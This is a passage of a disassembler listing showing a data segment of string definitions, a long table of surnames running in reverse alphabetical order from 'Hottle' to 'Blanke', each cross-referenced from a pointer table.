aHottle		db 'Hottle',0           ; DATA XREF: seg002:0042F428o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: seg002:0042F424o
aHoshida	db 'Hoshida',0          ; DATA XREF: seg002:0042F420o
aHorsley	db 'Horsley',0          ; DATA XREF: seg002:0042F41Co
aHopkins	db 'Hopkins',0          ; DATA XREF: seg002:0042F418o
aHooker		db 'Hooker',0           ; DATA XREF: seg002:0042F414o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: seg002:0042F410o
aHolway		db 'Holway',0           ; DATA XREF: seg002:0042F40Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: seg002:0042F408o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: seg002:0042F404o
aHolmes		db 'Holmes',0           ; DATA XREF: seg002:0042F400o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: seg002:0042F3FCo
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: seg002:0042F3F8o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: seg002:0042F3F4o
aHoffer		db 'Hoffer',0           ; DATA XREF: seg002:0042F3F0o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: seg002:0042F3ECo
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: seg002:0042F3E8o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: seg002:0042F3E4o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: seg002:0042F3E0o
		align 4
aHind		db 'Hind',0             ; DATA XREF: seg002:0042F3DCo
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: seg002:0042F3D8o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: seg002:0042F3D4o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: seg002:0042F3D0o
aHester		db 'Hester',0           ; DATA XREF: seg002:0042F3CCo
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: seg002:0042F3C8o
aHernandez	db 'Hernandez',0        ; DATA XREF: seg002:0042F3C4o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: seg002:0042F3C0o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: seg002:0042F3BCo
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: seg002:0042F3B8o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: seg002:0042F3B4o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: seg002:0042F3B0o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: seg002:0042F3ACo
aHeiland	db 'Heiland',0          ; DATA XREF: seg002:0042F3A8o
aHeft		db 'Heft',0             ; DATA XREF: seg002:0042F3A4o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: seg002:0042F3A0o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: seg002:0042F39Co
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: seg002:0042F398o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: seg002:0042F394o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: seg002:0042F390o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: seg002:0042F38Co
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: seg002:0042F388o
aHartnett	db 'Hartnett',0         ; DATA XREF: seg002:0042F384o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: seg002:0042F380o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: seg002:0042F37Co
aHarrigan	db 'Harrigan',0         ; DATA XREF: seg002:0042F378o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: seg002:0042F374o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: seg002:0042F370o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: seg002:0042F36Co
aHanssen	db 'Hanssen',0          ; DATA XREF: seg002:0042F368o
aHand		db 'Hand',0             ; DATA XREF: seg002:0042F364o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: seg002:0042F360o
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: seg002:0042F35Co
		align 10h
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: seg002:0042F358o
		align 10h
aHalpert	db 'Halpert',0          ; DATA XREF: seg002:0042F354o
aHallowell	db 'Hallowell',0        ; DATA XREF: seg002:0042F350o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: seg002:0042F34Co
aHaley		db 'Haley',0            ; DATA XREF: seg002:0042F348o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: seg002:0042F344o
		align 10h
aHackman	db 'Hackman',0          ; DATA XREF: seg002:0042F340o
aHaar		db 'Haar',0             ; DATA XREF: seg002:0042F33Co
		align 10h
aHa		db 'Ha',0               ; DATA XREF: seg002:0042F338o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: seg002:0042F334o
aGunn		db 'Gunn',0             ; DATA XREF: seg002:0042F330o
		align 10h
aGuenthart	db 'Guenthart',0        ; DATA XREF: seg002:0042F32Co
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: seg002:0042F328o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: seg002:0042F324o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: seg002:0042F320o
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: seg002:0042F31Co
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: seg002:0042F318o
		align 10h
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: seg002:0042F314o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: seg002:0042F310o
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: seg002:0042F30Co
aGozzi		db 'Gozzi',0            ; DATA XREF: seg002:0042F308o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: seg002:0042F304o
		align 10h
aGoodearl	db 'Goodearl',0         ; DATA XREF: seg002:0042F300o
		align 4
aGood		db 'Good',0             ; DATA XREF: seg002:0042F2FCo
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: seg002:0042F2F8o
		align 10h
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: seg002:0042F2F4o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: seg002:0042F2F0o
aGlegg		db 'Glegg',0            ; DATA XREF: seg002:0042F2ECo
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: seg002:0042F2E8o
aGist		db 'Gist',0             ; DATA XREF: seg002:0042F2E4o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: seg002:0042F2E0o
		align 4
aGill		db 'Gill',0             ; DATA XREF: seg002:0042F2DCo
		align 10h
aGili		db 'Gili',0             ; DATA XREF: seg002:0042F2D8o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: seg002:0042F2D4o
aGibson		db 'Gibson',0           ; DATA XREF: seg002:0042F2D0o
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: seg002:0042F2CCo
aGhorai		db 'Ghorai',0           ; DATA XREF: seg002:0042F2C8o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: seg002:0042F2C4o
aGeorgi		db 'Georgi',0           ; DATA XREF: seg002:0042F2C0o
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: seg002:0042F2BCo
		align 4
aGeller		db 'Geller',0           ; DATA XREF: seg002:0042F2B8o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: seg002:0042F2B4o
aGarman		db 'Garman',0           ; DATA XREF: seg002:0042F2B0o
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: seg002:0042F2ACo
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: seg002:0042F2A8o
aGalwey		db 'Galwey',0           ; DATA XREF: seg002:0042F2A4o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: seg002:0042F2A0o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: seg002:0042F29Co
		align 10h
aGabrielli	db 'Gabrielli',0        ; DATA XREF: seg002:0042F298o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: seg002:0042F294o
		align 4
aFurth		db 'Furth',0            ; DATA XREF: seg002:0042F290o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: seg002:0042F28Co
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: seg002:0042F288o
		align 10h
aFrye		db 'Frye',0             ; DATA XREF: seg002:0042F284o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: seg002:0042F280o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: seg002:0042F27Co
aFrisken	db 'Frisken',0          ; DATA XREF: seg002:0042F278o
aFriedland	db 'Friedland',0        ; DATA XREF: seg002:0042F274o
		align 10h
aFried		db 'Fried',0            ; DATA XREF: seg002:0042F270o
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: seg002:0042F26Co
		align 4
aFreid		db 'Freid',0            ; DATA XREF: seg002:0042F268o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: seg002:0042F264o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: seg002:0042F260o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: seg002:0042F25Co
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: seg002:0042F258o
		align 10h
aFossi		db 'Fossi',0            ; DATA XREF: seg002:0042F254o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: seg002:0042F250o
		align 10h
aFortier	db 'Fortier',0          ; DATA XREF: seg002:0042F24Co
aFortes		db 'Fortes',0           ; DATA XREF: seg002:0042F248o
		align 10h
aForester	db 'Forester',0         ; DATA XREF: seg002:0042F244o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: seg002:0042F240o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: seg002:0042F23Co
		align 4
aFlier		db 'Flier',0            ; DATA XREF: seg002:0042F238o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: seg002:0042F234o
aFisk		db 'Fisk',0             ; DATA XREF: seg002:0042F230o
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: seg002:0042F22Co
aFinnegan	db 'Finnegan',0         ; DATA XREF: seg002:0042F228o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: seg002:0042F224o
aFink		db 'Fink',0             ; DATA XREF: seg002:0042F220o
		align 10h
aField		db 'Field',0            ; DATA XREF: seg002:0042F21Co
		align 4
aFido		db 'Fido',0             ; DATA XREF: seg002:0042F218o
		align 10h
aFeuer		db 'Feuer',0            ; DATA XREF: seg002:0042F214o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: seg002:0042F210o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: seg002:0042F20Co
		align 10h
aFernandes	db 'Fernandes',0        ; DATA XREF: seg002:0042F208o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: seg002:0042F204o
aFeldman	db 'Feldman',0          ; DATA XREF: seg002:0042F200o
aFejzo		db 'Fejzo',0            ; DATA XREF: seg002:0042F1FCo
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: seg002:0042F1F8o
		align 10h
aFates		db 'Fates',0            ; DATA XREF: seg002:0042F1F4o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: seg002:0042F1F0o
		align 10h
aFarren		db 'Farren',0           ; DATA XREF: seg002:0042F1ECo
		align 4
aFarone		db 'Farone',0           ; DATA XREF: seg002:0042F1E8o
		align 10h
aFaris		db 'Faris',0            ; DATA XREF: seg002:0042F1E4o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: seg002:0042F1E0o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: seg002:0042F1DCo
		align 10h
aFaioes		db 'Faioes',0           ; DATA XREF: seg002:0042F1D8o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: seg002:0042F1D4o
		align 10h
aFabbris	db 'Fabbris',0          ; DATA XREF: seg002:0042F1D0o
aEverett	db 'Everett',0          ; DATA XREF: seg002:0042F1CCo
aEuripides	db 'Euripides',0        ; DATA XREF: seg002:0042F1C8o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: seg002:0042F1C4o
		align 4
aEstes		db 'Estes',0            ; DATA XREF: seg002:0042F1C0o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: seg002:0042F1BCo
		align 4
aErez		db 'Erez',0             ; DATA XREF: seg002:0042F1B8o
		align 10h
aErdos		db 'Erdos',0            ; DATA XREF: seg002:0042F1B4o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: seg002:0042F1B0o
		align 10h
aErbach		db 'Erbach',0           ; DATA XREF: seg002:0042F1ACo
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: seg002:0042F1A8o
aEnyeart	db 'Enyeart',0          ; DATA XREF: seg002:0042F1A4o
aEncinas	db 'Encinas',0          ; DATA XREF: seg002:0042F1A0o
aElvis		db 'Elvis',0            ; DATA XREF: seg002:0042F19Co
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: seg002:0042F198o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: seg002:0042F194o
		align 10h
aEliasson	db 'Eliasson',0         ; DATA XREF: seg002:0042F190o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: seg002:0042F18Co
aEdward		db 'Edward',0           ; DATA XREF: seg002:0042F188o
		align 10h
aEdner		db 'Edner',0            ; DATA XREF: seg002:0042F184o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: seg002:0042F180o
		align 10h
aEckel		db 'Eckel',0            ; DATA XREF: seg002:0042F17Co
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: seg002:0042F178o
aEardley	db 'Eardley',0          ; DATA XREF: seg002:0042F174o
aDwyer		db 'Dwyer',0            ; DATA XREF: seg002:0042F170o
		align 10h
aDussault	db 'Dussault',0         ; DATA XREF: seg002:0042F16Co
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: seg002:0042F168o
aDuffin		db 'Duffin',0           ; DATA XREF: seg002:0042F164o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: seg002:0042F160o
aDrinker	db 'Drinker',0          ; DATA XREF: seg002:0042F15Co
aDowsland	db 'Dowsland',0         ; DATA XREF: seg002:0042F158o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: seg002:0042F154o
		align 10h
aDoty		db 'Doty',0             ; DATA XREF: seg002:0042F150o
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: seg002:0042F14Co
		align 10h
aDorf		db 'Dorf',0             ; DATA XREF: seg002:0042F148o
		align 4
aDore		db 'Dore',0             ; DATA XREF: seg002:0042F144o
		align 10h
aDoonan		db 'Doonan',0           ; DATA XREF: seg002:0042F140o
		align 4
aDonner		db 'Donner',0           ; DATA XREF: seg002:0042F13Co
		align 10h
aDonahue	db 'Donahue',0          ; DATA XREF: seg002:0042F138o
aDoherty	db 'Doherty',0          ; DATA XREF: seg002:0042F134o
aDockery	db 'Dockery',0          ; DATA XREF: seg002:0042F130o
aDirksen	db 'Dirksen',0          ; DATA XREF: seg002:0042F12Co
aDionysius	db 'Dionysius',0        ; DATA XREF: seg002:0042F128o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: seg002:0042F124o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: seg002:0042F120o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: seg002:0042F11Co
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: seg002:0042F118o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: seg002:0042F114o
		align 10h
aDFini		db 'D',27h,'fini',0     ; DATA XREF: seg002:0042F110o
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: seg002:0042F10Co
aDesombre	db 'Desombre',0         ; DATA XREF: seg002:0042F108o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: seg002:0042F104o
aDenham		db 'Denham',0           ; DATA XREF: seg002:0042F100o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: seg002:0042F0FCo
aDemusz		db 'Demusz',0           ; DATA XREF: seg002:0042F0F8o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: seg002:0042F0F4o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: seg002:0042F0F0o
		align 10h
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: seg002:0042F0ECo
		align 4
aDelger		db 'Delger',0           ; DATA XREF: seg002:0042F0E8o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: seg002:0042F0E4o
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: seg002:0042F0E0o
		align 10h
aDefeciani	db 'Defeciani',0        ; DATA XREF: seg002:0042F0DCo
		align 4
aDees		db 'Dees',0             ; DATA XREF: seg002:0042F0D8o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: seg002:0042F0D4o
aDerousse	db 'deRousse',0         ; DATA XREF: seg002:0042F0D0o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: seg002:0042F0CCo
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: seg002:0042F0C8o
		align 10h
aDegennaro	db 'DeGennaro',0        ; DATA XREF: seg002:0042F0C4o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: seg002:0042F0C0o
aDavid		db 'David',0            ; DATA XREF: seg002:0042F0BCo
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: seg002:0042F0B8o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: seg002:0042F0B4o
		align 10h
aDas		db 'Das',0              ; DATA XREF: seg002:0042F0B0o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: seg002:0042F0ACo
aDapice		db 'Dapice',0           ; DATA XREF: seg002:0042F0A8o
		align 4
aDante		db 'Dante',0            ; DATA XREF: seg002:0042F0A4o
		align 10h
aDanieli	db 'Danieli',0          ; DATA XREF: seg002:0042F0A0o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: seg002:0042F09Co
aDaly		db 'Daly',0             ; DATA XREF: seg002:0042F098o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: seg002:0042F094o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: seg002:0042F090o
aCyders		db 'Cyders',0           ; DATA XREF: seg002:0042F08Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: seg002:0042F088o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: seg002:0042F084o
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: seg002:0042F080o
aCui		db 'Cui',0              ; DATA XREF: seg002:0042F07Co
aCroxton	db 'Croxton',0          ; DATA XREF: seg002:0042F078o
aCroxen		db 'Croxen',0           ; DATA XREF: seg002:0042F074o
		align 10h
aCroshaw	db 'Croshaw',0          ; DATA XREF: seg002:0042F070o
aCrocker	db 'Crocker',0          ; DATA XREF: seg002:0042F06Co
aCrawford	db 'Crawford',0         ; DATA XREF: seg002:0042F068o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: seg002:0042F064o
aCounter	db 'Counter',0          ; DATA XREF: seg002:0042F060o
aCosmides	db 'Cosmides',0         ; DATA XREF: seg002:0042F05Co
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: seg002:0042F058o
aCorey		db 'Corey',0            ; DATA XREF: seg002:0042F054o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: seg002:0042F050o
aCondodina	db 'Condodina',0        ; DATA XREF: seg002:0042F04Co
		align 4
aConcino	db 'Concino',0          ; DATA XREF: seg002:0042F048o
aComstock	db 'Comstock',0         ; DATA XREF: seg002:0042F044o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: seg002:0042F03Co
					; seg002:0042F040o
aCollis		db 'Collis',0           ; DATA XREF: seg002:0042F038o
		align 10h
aCollard	db 'Collard',0          ; DATA XREF: seg002:0042F034o
aColella	db 'Colella',0          ; DATA XREF: seg002:0042F030o
aColdren	db 'Coldren',0          ; DATA XREF: seg002:0042F02Co
aCoito		db 'Coito',0            ; DATA XREF: seg002:0042F028o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: seg002:0042F024o
aClow		db 'Clow',0             ; DATA XREF: seg002:0042F020o
		align 10h
aClifton	db 'Clifton',0          ; DATA XREF: seg002:0042F01Co
aClement	db 'Clement',0          ; DATA XREF: seg002:0042F018o
aClark		db 'Clark',0            ; DATA XREF: seg002:0042F014o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: seg002:0042F010o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: seg002:0042F00Co
aCifarelli	db 'Cifarelli',0        ; DATA XREF: seg002:0042F008o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: seg002:0042F004o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: seg002:0042F000o
		align 4
aChurch		db 'Church',0           ; DATA XREF: seg002:0042EFFCo
		align 10h
aChupasko	db 'Chupasko',0         ; DATA XREF: seg002:0042EFF8o
		align 4
aChu		db 'Chu',0              ; DATA XREF: seg002:0042EFF4o
aChristopher	db 'Christopher',0      ; DATA XREF: seg002:0042EFF0o
aChristie	db 'Christie',0         ; DATA XREF: seg002:0042EFECo
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: seg002:0042EFE8o
		align 4
aChristian	db 'Christian',0        ; DATA XREF: seg002:0042EFE4o
		align 10h
aChristenson	db 'Christenson',0      ; DATA XREF: seg002:0042EFE0o
aChinman	db 'Chinman',0          ; DATA XREF: seg002:0042EFDCo
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: seg002:0042EFD8o
aChilds		db 'Childs',0           ; DATA XREF: seg002:0042EFD4o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: seg002:0042EFD0o
		align 4
aChien		db 'Chien',0            ; DATA XREF: seg002:0042EFCCo
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: seg002:0042EFC8o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: seg002:0042EFC4o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: seg002:0042EFC0o
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: seg002:0042EFBCo
		align 4
aCharles	db 'Charles',0          ; DATA XREF: seg002:0042EFB8o
aChapman	db 'Chapman',0          ; DATA XREF: seg002:0042EFB4o
aCerioli	db 'Cerioli',0          ; DATA XREF: seg002:0042EFB0o
aCeniceros	db 'Ceniceros',0        ; DATA XREF: seg002:0042EFACo
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: seg002:0042EFA8o
		align 10h
aCavanagh	db 'Cavanagh',0         ; DATA XREF: seg002:0042EFA4o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: seg002:0042EFA0o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: seg002:0042EF9Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: seg002:0042EF98o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: seg002:0042EF94o
		align 10h
aCartmill	db 'Cartmill',0         ; DATA XREF: seg002:0042EF90o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: seg002:0042EF8Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: seg002:0042EF88o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: seg002:0042EF84o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: seg002:0042EF80o
aCarlos		db 'Carlos',0           ; DATA XREF: seg002:0042EF7Co
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: seg002:0042EF78o
		align 10h
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: seg002:0042EF74o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: seg002:0042EF70o
aCapursi	db 'Capursi',0          ; DATA XREF: seg002:0042EF6Co
aCappuccio	db 'Cappuccio',0        ; DATA XREF: seg002:0042EF68o
		align 10h
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: seg002:0042EF64o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: seg002:0042EF60o
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: seg002:0042EF5Co
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: seg002:0042EF58o
aCanley		db 'Canley',0           ; DATA XREF: seg002:0042EF54o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: seg002:0042EF50o
		align 10h
aCammelli	db 'Cammelli',0         ; DATA XREF: seg002:0042EF4Co
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: seg002:0042EF48o
		align 4
aCage		db 'Cage',0             ; DATA XREF: seg002:0042EF44o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: seg002:0042EF40o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: seg002:0042EF3Co
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: seg002:0042EF38o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: seg002:0042EF34o
aBurridge	db 'Burridge',0         ; DATA XREF: seg002:0042EF30o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: seg002:0042EF2Co
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: seg002:0042EF28o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: seg002:0042EF24o
		align 10h
aBunton		db 'Bunton',0           ; DATA XREF: seg002:0042EF20o
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: seg002:0042EF1Co
aBudding	db 'Budding',0          ; DATA XREF: seg002:0042EF18o
aBuchan		db 'Buchan',0           ; DATA XREF: seg002:0042EF14o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: seg002:0042EF10o
aBrook		db 'Brook',0            ; DATA XREF: seg002:0042EF0Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: seg002:0042EF08o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: seg002:0042EF04o
		align 10h
aBrinton	db 'Brinton',0          ; DATA XREF: seg002:0042EF00o
aBridges	db 'Bridges',0          ; DATA XREF: seg002:0042EEFCo
aBridgeman	db 'Bridgeman',0        ; DATA XREF: seg002:0042EEF8o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: seg002:0042EEF0o
					; seg002:0042EEF4o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: seg002:0042EEECo
aBrenan		db 'Brenan',0           ; DATA XREF: seg002:0042EEE8o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: seg002:0042EEE4o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: seg002:0042EEE0o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: seg002:0042EEDCo
aBradac		db 'Bradac',0           ; DATA XREF: seg002:0042EED8o
		align 4
aBracalente	db 'Bracalente',0       ; DATA XREF: seg002:0042EED4o
		align 10h
aBoyne		db 'Boyne',0            ; DATA XREF: seg002:0042EED0o
		align 4
aBoym		db 'Boym',0             ; DATA XREF: seg002:0042EECCo
		align 10h
aBoyland	db 'Boyland',0          ; DATA XREF: seg002:0042EEC8o
aBoyes		db 'Boyes',0            ; DATA XREF: seg002:0042EEC4o
		align 10h
aBoyajian	db 'Boyajian',0         ; DATA XREF: seg002:0042EEC0o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: seg002:0042EEBCo
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: seg002:0042EEB8o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: seg002:0042EEB4o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: seg002:0042EEB0o
aBoudin		db 'Boudin',0           ; DATA XREF: seg002:0042EEACo
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: seg002:0042EEA8o
		align 10h
aBothman	db 'Bothman',0          ; DATA XREF: seg002:0042EEA4o
aBossi		db 'Bossi',0            ; DATA XREF: seg002:0042EEA0o
		align 10h
aBorden		db 'Borden',0           ; DATA XREF: seg002:0042EE9Co
		align 4
aBorack		db 'Borack',0           ; DATA XREF: seg002:0042EE98o
		align 10h
aBoorstin	db 'Boorstin',0         ; DATA XREF: seg002:0042EE94o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: seg002:0042EE90o
		align 4
aBookbinder	db 'Bookbinder',0       ; DATA XREF: seg002:0042EE8Co
		align 10h
aBook		db 'Book',0             ; DATA XREF: seg002:0042EE88o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: seg002:0042EE84o
		align 4
aBoniface	db 'Boniface',0         ; DATA XREF: seg002:0042EE80o
		align 10h
aBonham		db 'Bonham',0           ; DATA XREF: seg002:0042EE7Co
		align 4
aBoner		db 'Boner',0            ; DATA XREF: seg002:0042EE78o
		align 10h
aBologna	db 'Bologna',0          ; DATA XREF: seg002:0042EE74o
aBollinger	db 'Bollinger',0        ; DATA XREF: seg002:0042EE70o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: seg002:0042EE6Co
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: seg002:0042EE68o
		align 4
aBlyth		db 'Blyth',0            ; DATA XREF: seg002:0042EE64o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: seg002:0042EE60o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: seg002:0042EE5Co
		align 10h
aBloembergen	db 'Bloembergen',0      ; DATA XREF: seg002:0042EE58o
aBloch		db 'Bloch',0            ; DATA XREF: seg002:0042EE54o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: seg002:0042EE50o
aBliss		db 'Bliss',0            ; DATA XREF: seg002:0042EE4Co
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: seg002:0042EE48o
		align 4
